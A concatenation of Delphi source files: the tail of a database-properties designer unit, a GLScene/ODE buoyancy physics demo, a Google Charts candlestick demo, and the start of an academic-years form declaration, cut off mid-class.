MakePropertyInvisible('ODSVersion');
MakePropertyInvisible('Charset');
MakePropertyInvisible('PageSize');
MakePropertyInvisible('SweepInterval');
MakePropertyInvisible('ForcedWrites');
MakePropertyInvisible('ReadOnly');
MakePropertyInvisible('SQLDialect');
MakePropertyInvisible('PageBuffers');
Designer.UpdateObjectInspector;
if Assigned(FIntDatabaseIntf) then
begin
FIntDatabaseIntf.OwnerIID := BTCLServer.InstanceIID;
FIntDatabaseIntf.Database := DatabaseName;
FIntDatabaseIntf.StillConnect := True;
end;
if Result then
begin
try
Screen.Cursor := crHourGlass;
DRVService.ConnectDatabase := DatabaseName;
Result := DRVService.Attach(stConfigService, OnTextNotify);
if Result then
begin
Result := Assigned(FIntDatabaseIntf) and FIntDatabaseIntf.Connect;
if Result then
begin
FODSVersion := FIntDatabaseIntf.DRVQuery.Database.ODSVersion;
FPageSize := IntToStr(FIntDatabaseIntf.DRVQuery.Database.PageSize);
FPageBuffers := FIntDatabaseIntf.DRVQuery.Database.PageBuffers;
FSweepInterval := FIntDatabaseIntf.DRVQuery.Database.SweepInterval;
FForcedWrites := FIntDatabaseIntf.DRVQuery.Database.ForcedWrites;
FReadOnly := FIntDatabaseIntf.DRVQuery.Database.ReadOnly;
FCharset := FIntDatabaseIntf.DBCharset;// .DRVQuery.Database.Charset;
FSQLDialect := IntToStr(FIntDatabaseIntf.DRVQuery.Database.SQLDialect);
FActiveUsers.Assign(FIntDatabaseIntf.DRVQuery.Database.UserNames);
WriteString(Format(' ', []));
WriteString(Format('ODSVersion = %s', [ODSVersion]));
WriteString(Format('Charset = %s', [Charset]));
WriteString(Format('PageSize = %s', [PageSize]));
WriteString(Format('PageBuffers = %d', [PageBuffers]));
WriteString(Format('SQLDialect = %s', [SQLDialect]));
WriteString(Format('SweepInterval = %d', [SweepInterval]));
WriteString(Format('ForcedWrites = %s', [BoolToStr(ForcedWrites, True)]));
WriteString(Format('ReadOnly = %s', [BoolToStr(ReadOnly, True)]));
WriteString(Format('Active Users = ', []));
for I := 0 to Pred(ActiveUsers.Count) do
WriteString(Format(' %s', [ActiveUsers[I]]));
MakePropertyVisible('ODSVersion');
MakePropertyVisible('Charset');
MakePropertyVisible('PageSize');
MakePropertyVisible('SweepInterval');
MakePropertyVisible('ForcedWrites');
MakePropertyVisible('ReadOnly');
MakePropertyVisible('SQLDialect');
MakePropertyVisible('PageBuffers');
Designer.UpdateObjectInspector;
end;
end;
finally
DRVService.Detach;
FIntDatabaseIntf.Disconnect;
Screen.Cursor := crDefault;
end;
if not Result and Assigned(DRVService) then
begin
if Length(FIntDatabaseIntf.DRVQuery.Database.ErrorText) > 0 then
ErrorText := FIntDatabaseIntf.DRVQuery.Database.ErrorText
else
ErrorText := DRVService.ErrorText;
end;
end;
end;
initialization
Register;
end.
|
unit fBuoyancy;
{
********************************************************
Buoyancy Demo, by Mattias Fagerlund
( mattias@cambrianlabs.com)
See http://www.cambrianlabs.com/Mattias/DelphiODE/BuoyancyParticles.htm
for details on this demo.
}
interface
uses
Winapi.Windows, Winapi.Messages,
System.SysUtils, System.Classes, System.Math,
Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls,
Vcl.ExtCtrls, Vcl.Imaging.jpeg,
GLScene, GLObjects, GLCadencer, GLWin32Viewer, ODEGL,
ODEImport, GLTexture, GLzBuffer, GLShadowPlane, uBobbyClasses,
GLMirror, GLVectorTypes, GLVectorGeometry, {GR32_Image,}
GLVectorFileObjects, GLGeomObjects, GLShadowVolume, GLMaterial, GLCoordinates,
GLCrossPlatform, GLBaseClasses;
const
GRAVITY = 9.81; // the global gravity to use
type
TfrmBuoyancy = class(TForm)
GLSceneViewer1: TGLSceneViewer;
GLCadencer1: TGLCadencer;
GLScene1: TGLScene;
DC_MirrorAndReflect: TGLDummyCube;
GLCamera1: TGLCamera;
GLLightSource1: TGLLightSource;
OceanFloor: TGLPlane;
OceanLevel: TGLPlane;
Label_FPS: TLabel;
Timer1: TTimer;
ScrollBar_WaterDensity: TScrollBar;
Label_Density: TLabel;
Label_Submerged: TLabel;
ScrollBar_Drag: TScrollBar;
Label_DragConstant: TLabel;
Button_Lift: TButton;
GLMaterialLibrary1: TGLMaterialLibrary;
ScrollBar_TiltOcean: TScrollBar;
Label1: TLabel;
CheckBox_StormySeas: TCheckBox;
Label_Comment: TLabel;
Button_LoadBobbyFile: TButton;
OpenDialog_BobbyFile: TOpenDialog;
Button_Clear: TButton;
GLCube1: TGLCube;
GLCube2: TGLCube;
GLCube3: TGLCube;
GLCube4: TGLCube;
Button_RainCubes: TButton;
CheckBox_StepFast: TCheckBox;
GLShadowVolume1: TGLShadowVolume;
CheckBox_Shadows: TCheckBox;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure GLCadencer1Progress(Sender: TObject; const deltaTime,
newTime: Double);
procedure Timer1Timer(Sender: TObject);
procedure ScrollBar_WaterDensityChange(Sender: TObject);
procedure ScrollBar_DragChange(Sender: TObject);
procedure Button_LiftClick(Sender: TObject);
procedure GLSceneViewer1MouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
procedure ScrollBar_TiltOceanChange(Sender: TObject);
procedure Button_LoadBobbyFileClick(Sender: TObject);
procedure CheckBox_StormySeasClick(Sender: TObject);
procedure Button_ClearClick(Sender: TObject);
procedure Button_RainCubesClick(Sender: TObject);
procedure CheckBox_ShadowsClick(Sender: TObject);
private
public
// dynamics and collision objects
world : PdxWorld;
space : PdxSpace;
body : PdxBody;
contactgroup : TdJointGroupID;
ground : PdxGeom;
PhysicsTime : single;
BobbyHandler : TBobbyHandler;
GeomList : TGeomList;
BodyList : TBodyList;
procedure LoadBobbyFile(FileName : string; px, py, pz : single);
procedure SetupOceanFloor(Depth : single);
procedure GetDepthAndNormal(Bobby : TBobby);
end;
var
frmBuoyancy: TfrmBuoyancy;
implementation
uses StrFunctions;
{$R *.dfm}
procedure TfrmBuoyancy.FormCreate(Sender: TObject);
begin
if FileExists('Baller.jpg') then
GLMaterialLibrary1.Materials[0].Material.Texture.Image.LoadFromFile('Baller.jpg')
else
GLMaterialLibrary1.Materials[0].Material.Texture.Image.LoadFromFile('..\Media\Baller.jpg');
// create world
world := dWorldCreate();
dWorldSetQuickStepNumIterations(world, 3);
space := dHashSpaceCreate(nil);
dWorldSetGravity (world,0,0,-GRAVITY);
contactgroup := dJointGroupCreate (0);
ground := CreateODEPlaneFromGLPlane(OceanFloor, space);
BobbyHandler := TBobbyHandler.Create;
BobbyHandler.OnGetDepthAndNormal := GetDepthAndNormal;
BobbyHandler.Gravity := world.gravity;
GeomList := TGeomList.Create;
BodyList := TBodyList.Create;
CreateGeomFromCube(GLCube1, Space);
CreateGeomFromCube(GLCube2, Space);
CreateGeomFromCube(GLCube3, Space);
CreateGeomFromCube(GLCube4, Space);
Button_RainCubes.Click;
ScrollBar_WaterDensityChange(nil);
ScrollBar_DragChange(nil);
end;
procedure TfrmBuoyancy.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
GLCadencer1.Enabled := false;
Application.ProcessMessages;
dJointGroupDestroy (contactgroup);
dSpaceDestroy (space);
dWorldDestroy (world);
end;
procedure nearCallback (data : pointer; o1, o2 : PdxGeom); cdecl;
var
i : integer;
b1, b2 : PdxBody;
numc : integer;
contact : array[0..2] of TdContact;
c : TdJointID;
begin
// exit without doing anything if the two bodies are connected by a joint
b1 := dGeomGetBody(o1);
b2 := dGeomGetBody(o2);
if (assigned(b1) and assigned(b2) and (dAreConnected (b1,b2)<>0)) then
exit;//}
for i :=0 to 2 do
begin
contact[i].surface.mode := dContactBounce or dContactApprox1; //dContactMu2;
// This determines friction, play around with it!
contact[i].surface.mu := 1000; //dInfinity; SHOULD BE INFINITY!
contact[i].surface.mu2 := 0;
contact[i].surface.bounce := 0.15;
contact[i].surface.bounce_vel := 0.1;
end;
numc := dCollide (o1,o2,3,contact[0].geom,sizeof(TdContact));
if (numc>0) then
begin
// dMatrix3 RI;
// dRSetIdentity (RI);
// const dReal ss[3] = {0.02,0.02,0.02};
for i := 0 to numc-1 do
begin
c := dJointCreateContact (frmBuoyancy.world,frmBuoyancy.contactgroup, @contact[i]);
dJointAttach (c,b1,b2);
// dsDrawBox (contact[i].geom.pos,RI,ss);
end;
end;
end;
const
cDELTA_TIME = 1/100;
procedure TfrmBuoyancy.GLCadencer1Progress(Sender: TObject;
const deltaTime, newTime: Double);
procedure WorldStep;
begin
dSpaceCollide (space,nil,nearCallback);
// Calculate and apply bobby forces!
BobbyHandler.UpdateBobbies(cDELTA_TIME);
if CheckBox_StepFast.Checked then
dWorldQuickStep (world,cDELTA_TIME)
else
dWorldStep (world,cDELTA_TIME);
// remove all contact joints
dJointGroupEmpty (contactgroup);
end;
begin
if CheckBox_StormySeas.Checked then
begin
OceanLevel.PitchAngle := (sin(newTime*2))*15;
OceanLevel.TurnAngle := (sin(newTime*3))*5;
end;
while newTime>PhysicsTime do
begin
WorldStep;
PhysicsTime := PhysicsTime + cDELTA_TIME;
end;
RenderGeomList(GeomList);
//Caption := Format('(%f, %f, %f)',[GLSphere1.Position.X, GLSphere1.Position.Y, GLSphere1.Position.Z]);
if BobbyHandler.Bobbies.Count>0 then
begin
//Caption := Format('Water depth = %f',[BobbyHandler.Bobbies[0].CenterDepth]);
end;
end;
const
cGPB = 100;
procedure TfrmBuoyancy.LoadBobbyFile(FileName : string; px, py, pz : single);
var
i : integer;
TempGeomList : TGeomList;
BobbyList : TBobbyList;
TotalMass : TdMass;
dpos : array[0..cGPB-1, 0..2] of TdReal;
StringList : TStringList;
c : char;
MyCube : TGLCube;
mx, my, mz : single;
LastGeom : PdxGeom;
procedure AddBobby(Body : PdxBody; x,y,z,r : single);
var
Bobby : TBobby;
begin
// Setup the bobby
Bobby := TBobby.Create(BobbyHandler);
Bobby.Body := Body;
Bobby.Radius := r;
Bobby.Position[0] := x;
Bobby.Position[1] := y;
Bobby.Position[2] := z;
BobbyList.Add(Bobby);//}
{GLSphere := TGLSphere(MyCube.AddNewChild(TGLSphere));
GLSphere.Position.x := x;
GLSphere.Position.y := y;
GLSphere.Position.z := z;
with GLSphere do
begin
Material.MaterialLibrary := GLMaterialLibrary1;
Radius := r*1.3;
Stacks := 8;
Slices := 8;
end;//}
end;
procedure BobbyGrid(Body : PdxBody; x,y,z, sizex, sizey, sizez : single; Res : integer);
var
r : single;
gx, gy, gz : integer;
begin
// Calculate a sphere radius that will give the same volume as the cube
r := power(sizex*sizey*sizez*3/(pi * res * res * res * 4), 1/3);
// Reduce size of box so that boddies don't stick out
Sizex := Sizex-2*r;
Sizey := Sizey-2*r;
Sizez := Sizez-2*r;
//Assert(sizex*sizey*sizez = res * res * res * r * r * r * pi * 4 / 3);
for gx := 0 to res-1 do
for gy := 0 to res-1 do
for gz := 0 to res-1 do
begin
mx := x + (gx)/(res-1)*(sizex) - sizex/2;
my := y + (gy)/(res-1)*(sizey) - sizey/2;
mz := z + (gz)/(res-1)*(sizez) - sizez/2;//}
AddBobby(Body, mx, my, mz, r);
{GLSphere := TGLSphere(MyCube.AddNewChild(TGLSphere));
GLSphere.Position.x := mx;
GLSphere.Position.y := my;
GLSphere.Position.z := mz;
with GLSphere do
begin
Material.MaterialLibrary := GLMaterialLibrary1;
Radius := r*1.5;
Stacks := 8;
Slices := 8;
end;//}
end;
end;
procedure AddGeomSphere(Body : PdxBody; x,y,z,r : single; Density : single=1);
var
SphereMass : TdMass;
Transform, Sphere : PdxGeom;
GLSphere : TGLSphere;
begin
// Create the transform
Transform := dCreateGeomTransform (space);
LastGeom := Transform;
dGeomSetBody(Transform, Body);
GeomList.Add(Transform);
dGeomTransformSetCleanup (Transform,1);
// Adding the transform will suffice, if we add the Sphere geom things will
// break down
dpos[TempGeomList.Count, 0] := x;
dpos[TempGeomList.Count, 1] := y;
dpos[TempGeomList.Count, 2] := z;
// Create
Sphere := dCreateSphere (nil, r); TempGeomList.Add(Sphere);
dMassSetSphere (SphereMass,Density,r);
dGeomTransformSetGeom (Transform, Sphere);
dGeomSetPosition(Sphere, x,y,z);
dMassTranslate(SphereMass, x,y,z);
// Create the sphere
GLSphere := TGLSphere(DC_MirrorAndReflect.AddNewChild(TGLSphere));
with GLSphere do
begin
Material.MaterialLibrary := GLMaterialLibrary1;
Material.LibMaterialName := 'Ballmaterial';
Radius := r;
Stacks := 8;
Slices := 8;
end;
Transform.Data := GLSphere;
GLShadowVolume1.Occluders.AddCaster(GLSphere);
//PositionSceneObject(GLSphere, Transform);
// add to the total mass
dMassAdd (TotalMass,SphereMass);
end;
procedure SphereGrid(Body : PdxBody; x,y,z, sizex, sizey, sizez : single; Res : integer);
var
r : single;
gx, gy, gz : integer;
begin
// Calculate a sphere radius that will give the same volume as the cube
r := power(sizex*sizey*sizez*3/(pi * res * res * res * 4), 1/3);
//Assert(sizex*sizey*sizez = res * res * res * r * r * r * pi * 4 / 3);
// Reduce size of box so that boddies don't stick out
Sizex := Sizex-2*r;
Sizey := Sizey-2*r;
Sizez := Sizez-2*r;
for gx := 0 to res-1 do
for gy := 0 to res-1 do
for gz := 0 to res-1 do
begin
mx := x + (gx)/(res-1)*(sizex) - sizex/2;
my := y + (gy)/(res-1)*(sizey) - sizey/2;
mz := z + (gz)/(res-1)*(sizez) - sizez/2;//}
AddGeomSphere(Body, mx, my, mz, r);
AddBobby(Body, mx, my, mz, r);
end;
end;
procedure AddGeomBox(Body : PdxBody; x,y,z, sizex, sizey, sizez : single);
var
BoxMass : TdMass;
Transform, Box : PdxGeom;
GLCube : TGLCube;
begin
// Create the transform
Transform := dCreateGeomTransform (space);
LastGeom := Transform;
dGeomSetBody(Transform, Body);
GeomList.Add(Transform);
dGeomTransformSetCleanup (Transform,1);
// Adding the transform will suffice, if we add the Sphere geom things will
// break down
dpos[TempGeomList.Count, 0] := x;
dpos[TempGeomList.Count, 1] := y;
dpos[TempGeomList.Count, 2] := z;
// Create
Box := dCreateBox (nil, sizex, sizey, sizez); TempGeomList.Add(Box);
dMassSetBox (BoxMass,1,sizex, sizey, sizez);
dGeomTransformSetGeom (Transform, Box);
dGeomSetPosition(Box, x,y,z);
dMassTranslate(BoxMass, x,y,z);
// Create the sphere
GLCube := TGLCube(DC_MirrorAndReflect.AddNewChild(TGLCube));
with GLCube do
begin
Material.MaterialLibrary := GLMaterialLibrary1;
Material.LibMaterialName := 'Ballmaterial';
CubeWidth:=sizex;
CubeHeight:=sizey;
CubeDepth:=sizez;
end;
MyCube := GLCube;
Transform.Data := GLCube;
GLShadowVolume1.Occluders.AddCaster(GLCube);
//PositionSceneObject(GLSphere, Transform);
// add to the total mass
dMassAdd (TotalMass,BoxMass);//}
end;
procedure ParseBobbyFile;
var
i : integer;
s : string;
command, args : string;
FreeForm : TGLFreeForm;
begin
for i := 0 to StringList.Count-1 do
begin
s := Trim(StringList[i]);
if (Copy(s,1,2)='//') or (s='') then
continue;
Command := GetBefore(' ', s+' ');
Args := GetAfter(' ', s)+',';
if SameText('GeomSphere', Command) then
begin
// GeomSphere x, y, z, radius, Bobby(0=false, 1=true), Density
if GetNTh(',', Args, 5)<>'' then
AddGeomSphere(Body, GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2), GetNThAsSingle(',', Args, 3), GetNThAsSingle(',', Args, 5))
else
AddGeomSphere(Body, GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2), GetNThAsSingle(',', Args, 3));
if (Trim(GetNTh(',', Args, 4))='1') then
AddBobby(Body, GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2), GetNThAsSingle(',', Args, 3));
end else
if SameText('GeomBox', Command) then
begin
// GeomBox x,y,z, sizex, sizey, sizez, BobbyResolution (0= no bobbies)
AddGeomBox(Body,
GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2),
GetNThAsSingle(',', Args, 3), GetNThAsSingle(',', Args, 4), GetNThAsSingle(',', Args, 5));
if (Trim(GetNTh(',', Args, 6))<>'0') then
begin
// Create a grid of spheres
BobbyGrid(
Body,
GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2),
GetNThAsSingle(',', Args, 3), GetNThAsSingle(',', Args, 4), GetNThAsSingle(',', Args, 5),
StrToInt(GetNTh(',', Args, 6)));
end;
end else
if SameText('SphereGrid', Command) then
begin
// SphereGrid x,y,z, sizex, sizey, sizez, BobbyResolution (0= no bobbies)
// Create a grid of spheres
SphereGrid(
Body,
GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2),
GetNThAsSingle(',', Args, 3), GetNThAsSingle(',', Args, 4), GetNThAsSingle(',', Args, 5),
StrToInt(GetNTh(',', Args, 6)));
end else
if SameText('Bobby', Command) then
begin
// Bobby x, y, z, radius
AddBobby(Body, GetNThAsSingle(',', Args, 0), GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2), GetNThAsSingle(',', Args, 3));
end else
if SameText('Mesh', Command) then
begin
FreeForm := TGLFreeForm(DC_MirrorAndReflect.AddNewChild(TGLFreeForm));
FreeForm.LoadFromFile(GetBetween('''', GetNTh(',', Args, 0)));
FreeForm.Scale.SetVector(GetNThAsSingle(',', Args, 1), GetNThAsSingle(',', Args, 2), GetNThAsSingle(',', Args, 3), 0);
FreeForm.Up.SetVector(0,0,1);
FreeForm.TurnAngle := 90;
LastGeom.data := FreeForm;
end else
if SameText('WaterDepth', Command) then
begin
SetupOceanFloor(GetNThAsSingle(',', Args, 0));
end else
if SameText('Comment', Command) then
begin
Label_Comment.Caption := Args
end else
Assert(false, Format('Command %s not recogniezed!',[Command]));
end;
end;
begin
// Prepare the mass sum
dMassSetZero (TotalMass);
// Create the body for this creation
body := dBodyCreate (world);
BodyList.Add(Body);
// Create a temporay storage for all our geoms
TempGeomList := TGeomList.Create;
c := FormatSettings.DecimalSeparator;
Label_Comment.Caption := 'No comment for this file';
SetupOceanFloor(-1);
try
FormatSettings.DecimalSeparator := '.';
// Bobbyfile
StringList := TStringList.Create;
StringList.LoadFromFile(FileName);
// Keep track of the bobbies we create
BobbyList := TBobbyList.Create;
// Parse the file
ParseBobbyFile;
// Now update all geoms (and bobbies) so that the gravity center is 0,0,0
for i := 0 to TempGeomList.Count-1 do
begin
dGeomSetPosition (TempGeomList[i],
dpos[i,0]-TotalMass.c[0],
dpos[i,1]-TotalMass.c[1],
dpos[i,2]-TotalMass.c[2]);
end;//}
for i := 0 to BobbyList.Count-1 do
begin
BobbyList[i].Position[0] := BobbyList[i].Position[0] - TotalMass.c[0];
BobbyList[i].Position[1] := BobbyList[i].Position[1] - TotalMass.c[1];
BobbyList[i].Position[2] := BobbyList[i].Position[2] - TotalMass.c[2];
end;//}
// Center the mass
dMassTranslate (TotalMass,-TotalMass.c[0],-TotalMass.c[1],-TotalMass.c[2]);
// Assign mass to body
dBodySetMass (Body, @TotalMass);
// Move the body into position
dBodySetPosition(Body, px, py, pz);
finally
FormatSettings.DecimalSeparator := c;
FreeAndNil(TempGeomList);
FreeAndNil(BobbyList);
FreeAndNil(StringList);
end;
end;
procedure TfrmBuoyancy.GetDepthAndNormal(Bobby: TBobby);
var
Up : TVector4f;
begin
//Bobby.CenterDepth := OceanLevel.PointDistance(ConvertdVector3ToVector4f(Bobby.WorldPosition));
//Bobby.CenterDepth := OceanLevel.PointDistance(GLSphere1.Position.AsVector);
Up := OceanLevel.AbsoluteDirection;
// If the bobby is outside the ocean, then the depth is negative!
if (abs(Bobby.WorldPosition[0])>OceanLevel.Width/2) or
(abs(Bobby.WorldPosition[1])>OceanLevel.Width/2) then
begin
Bobby.CenterDepth := 10e5;
end else
begin
Bobby.CenterDepth :=
PointPlaneDistance(
ConvertdVector3ToVector4f(Bobby.WorldPosition),
OceanLevel.AbsolutePosition,
Up);//}
Bobby.WaterNormal := ConvertVector4fTodVector3(Up);
end;
//Bobby.CenterDepth := Bobby.WorldPosition[2]-OceanLevel.Position.z;
end;
procedure TfrmBuoyancy.Timer1Timer(Sender: TObject);
begin
Label_Submerged.Caption := Format('%f%% submerged',[BobbyHandler.GetSubmergedAmount * 100]);
Label_FPS.Caption := Format('%d Bodies, %d geoms, %d bobbies, %f fps',[world.nb, dSpaceGetNumGeoms (Space), BobbyHandler.Bobbies.Count, GLSceneViewer1.FramesPerSecond]);
GLSceneViewer1.ResetPerformanceMonitor;
end;
procedure TfrmBuoyancy.ScrollBar_WaterDensityChange(Sender: TObject);
begin
BobbyHandler.LiquidDensity := ScrollBar_WaterDensity.Position/100;
Label_Density.Caption := Format('Water density : %f',[BobbyHandler.LiquidDensity]);
end;
procedure TfrmBuoyancy.ScrollBar_DragChange(Sender: TObject);
var
i : integer;
begin
if BobbyHandler.Bobbies.Count>0 then
begin
for i := 0 to BobbyHandler.Bobbies.Count - 1 do
BobbyHandler.Bobbies[i].DragCoefficient := ScrollBar_Drag.Position / 100;
Label_DragConstant.Caption := Format('Drag coeff : %f',[BobbyHandler.Bobbies[0].DragCoefficient]);
end;
end;
procedure TfrmBuoyancy.Button_LiftClick(Sender: TObject);
var
c : single;
begin
c := 15;
dBodySetPosition(Body, 0, 0, 5);
dBodySetLinearVel(Body, 0, 0, 0);
dBodySetAngularVel(Body, c * (random-0.5), c * (random-0.5), c * (random-0.5));
end;
var
FoldMouseX : integer;
FoldMouseY : integer;
procedure TfrmBuoyancy.GLSceneViewer1MouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer);
begin
if ssLeft in Shift then
GLCamera1.MoveAroundTarget(FoldMouseY-Y, FoldMouseX-X);
FoldMouseX := X;
FoldMouseY := Y;
end;
procedure TfrmBuoyancy.ScrollBar_TiltOceanChange(Sender: TObject);
begin
OceanLevel.PitchAngle := ScrollBar_TiltOcean.Position;
end;
procedure TfrmBuoyancy.Button_LoadBobbyFileClick(Sender: TObject);
begin
OpenDialog_BobbyFile.FileName := '*.bob';
if OpenDialog_BobbyFile.Execute then
LoadBobbyFile(OpenDialog_BobbyFile.FileName, 0,0,5 );
end;
procedure TfrmBuoyancy.SetupOceanFloor(Depth: single);
begin
OceanFloor.Position.Z := Depth;
if Ground<>nil then
dGeomDestroy(ground);
ground := CreateODEPlaneFromGLPlane(OceanFloor, space);
end;
procedure TfrmBuoyancy.CheckBox_StormySeasClick(Sender: TObject);
begin
if CheckBox_StormySeas.Checked = false then
OceanLevel.PitchAngle := 0;
end;
procedure TfrmBuoyancy.Button_ClearClick(Sender: TObject);
begin
BobbyHandler.ClearBobbies;
{ for i := 0 to GeomList.Count-1 do
GLShadowVolume1.Occluders.RemoveCaster(TGLBaseSceneObject(dGeomGetData(GeomList[i])));//}
GeomList.DeleteAllGeoms(true);
BodyList.DeleteAllBodies;
end;
procedure TfrmBuoyancy.Button_RainCubesClick(Sender: TObject);
var
i : integer;
begin
for i := 0 to 20 do
LoadBobbyFile('Grid2.bob', 0,0,15+i*3);
end;
procedure TfrmBuoyancy.CheckBox_ShadowsClick(Sender: TObject);
begin
if CheckBox_Shadows.Checked then
GLShadowVolume1.Mode := svmDarkening
else
GLShadowVolume1.Mode := svmOff;
end;
(*
Hi Ted here is the code so far.
void BoxGeom::ApplyHydrodynamicForces(dReal linear_viscosity, dReal
angular_viscosity, dReal density, Vector3 flow)
{
const dReal *lvel = dBodyGetLinearVel(this->_body->Id);
const dReal *avel = dBodyGetAngularVel(this->_body->Id);
const dReal *R = dBodyGetRotation(this->_body->Id);
dVector3 compFlow;
compFlow[0] = lvel[0] - flow.x;
compFlow[1] = lvel[1] - flow.y;
compFlow[2] = lvel[2] - flow.z;
dReal ss[3];
dGeomBoxGetLengths(this->_id, ss);
dReal AreaX = ss[1] * ss[2];
dReal AreaY = ss[0] * ss[2];
dReal AreaZ = ss[0] * ss[1];
dReal nx = (R[0] * compFlow[0] + R[4] * compFlow[1] + R[8] *
compFlow[2]) * AreaX;
dReal ny = (R[1] * compFlow[0] + R[5] * compFlow[1] + R[9] *
compFlow[2]) * AreaY;
dReal nz = (R[2] * compFlow[0] + R[6] * compFlow[1] + R[10] *
compFlow[2]) * AreaZ;
dReal temp = -nx*linear_viscosity;
dBodyAddForce(this->_body->Id, temp*R[0], temp*R[4], temp*R[8]);
temp = -ny*linear_viscosity;
dBodyAddForce(this->_body->Id, temp*R[1], temp*R[5], temp*R[9]);
temp = -nz*linear_viscosity;
dBodyAddForce(this->_body->Id, temp*R[2], temp*R[6], temp*R[10]);
nx = (R[0] * avel[0] + R[4] * avel[1] + R[8] * avel[2]) * (AreaY +
AreaZ);
ny = (R[1] * avel[0] + R[5] * avel[1] + R[9] * avel[2]) * (AreaX +
AreaZ);
nz = (R[2] * avel[0] + R[6] * avel[1] + R[10] * avel[2]) * (AreaX +
AreaY);
temp = -nx * angular_viscosity;
dBodyAddTorque(this->_body->Id, temp * R[0], temp * R[4], temp *
R[8]);
temp = -ny * angular_viscosity;
dBodyAddTorque(this->_body->Id, temp * R[1], temp * R[5], temp *
R[9]);
temp = -nz * angular_viscosity;
dBodyAddTorque(this->_body->Id, temp * R[2], temp * R[6], temp *
R[10]);
dReal gravity[3];
dWorldGetGravity(this->_body->get_WorldId(), gravity);
temp = -density * ss[0] * ss[1] * ss[2];
dBodyAddForce(this->_body->Id, temp*gravity[0], temp*gravity[1],
temp*gravity[2]);
//which, unless you have a non-axis-aligned gravity, is probably
just:
//dBodyAddForce(body, 0, temp*gravity[1], 0);
}
Ander
*)
end.
|
unit Demo.CandlestickChart.Waterfall;
interface
uses
System.Classes, Demo.BaseFrame, cfs.GCharts;
type
TDemo_CandlestickChart_Waterfall = class(TDemoBaseFrame)
public
procedure GenerateChart; override;
end;
implementation
procedure TDemo_CandlestickChart_Waterfall.GenerateChart;
var
Chart: IcfsGChartProducer; //Defined as TInterfacedObject. No need try..finally
begin
Chart := TcfsGChartProducer.Create;
Chart.ClassChartType := TcfsGChartProducer.CLASS_CANDLESTICK_CHART;
// Data
Chart.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtString, 'Month'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, ''),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, '')
]);
Chart.Data.AddRow(['Mon', 28, 28, 38, 38]);
Chart.Data.AddRow(['Tue', 38, 38, 55, 55]);
Chart.Data.AddRow(['Wed', 55, 55, 77, 77]);
Chart.Data.AddRow(['Thu', 77, 77, 66, 66]);
Chart.Data.AddRow(['Fri', 66, 66, 22, 22]);
// Options
Chart.Options.Legend('position', 'none');
Chart.Options.Bar('groupWidth', '100%');
Chart.Options.Candlestick('fallingColor', '{ strokeWidth: 0, fill: ''#a52714'' }'); // red
Chart.Options.Candlestick('risingColor', '{ strokeWidth: 0, fill: ''#0f9d58'' }'); // green
// Generate
GChartsFrame.DocumentInit;
GChartsFrame.DocumentSetBody('<div id="Chart1" style="width:100%;height:100%;"></div>');
GChartsFrame.DocumentGenerate('Chart1', Chart);
GChartsFrame.DocumentPost;
end;
initialization
RegisterClass(TDemo_CandlestickChart_Waterfall);
end.
|
unit csAcademicYears;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData,
cxDataStorage, cxEdit, DB, cxDBData, dxBar, dxBarExtItems, AArray,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGridLevel,
cxClasses, cxControls, cxGridCustomView, cxGrid, ImgList, AppEvnts, AppStruClasses,
iBase, csAcademicYearsDM, uCS_Resources, ib_externals, RxMemDS, FIBDataset,
pFIBDataset, uCS_Constants;
type
TcsFormAcademicYears = class(TForm)
dxBarManager1: TdxBarManager;
cxGrid1DBTableView1: TcxGridDBTableView;
cxGrid1Level1: TcxGridLevel;
cxGrid1: TcxGrid;
col_IdAcademyYear: TcxGridDBColumn;
col_NameAcademyYear: TcxGridDBColumn;
col_IsActive: TcxGridDBColumn;
btnSync: TdxBarLargeButton;
btnSelect: TdxBarLargeButton;
btnExit: TdxBarLargeButton;
LargeImages: TImageList;
DisabledLargeImages: TImageList;
PopupImageList: TImageList;
Styles: TcxStyleRepository;
BackGround: TcxStyle;
FocusedRecord: TcxStyle;
Header: TcxStyle;
DesabledRecord: TcxStyle;
cxStyle15: TcxStyle;
cxStyle16: TcxStyle;
cxStyle17: TcxStyle;
cxStyle18: TcxStyle;
cxStyle19: TcxStyle;
cxStyle20: TcxStyle;
cxStyle21: TcxStyle;
cxStyle22: TcxStyle;
cxStyle23: TcxStyle;
cxStyle24: TcxStyle;
cxStyle25: TcxStyle;
cxStyle26: TcxStyle;
cxStyle27: TcxStyle;
cxStyle28: TcxStyle;
cxStyle29: TcxStyle;
cxStyle30: TcxStyle;
Default_StyleSheet: TcxGridTableViewStyleSheet;
DevExpress_Style: TcxGridTableViewStyleSheet;
dxBarGroup1: TdxBarGroup;
procedure btnSyncClick(Sender: TObject);
private
{ Private declarations }
IdMode: Integer;
EDBOGuidesIntf: TFMASAppModule;
EDBOPersonIntf: TFMASAppModule;
ResultArray: TAArray;
CanConnectToEdbo: Boolean;
procedure InitCaptions;
// procedure InitStyles;
procedure InitMode(IdMode: Integer); //настройка формы в соответствии с режимом
procedure GetAcademicYearsFromEDBO;
function MyCsConnectToEdbo: Boolean;
public
{ Public declarations }
IndLangVWF: Integer;
ID_User_Global: Int64;
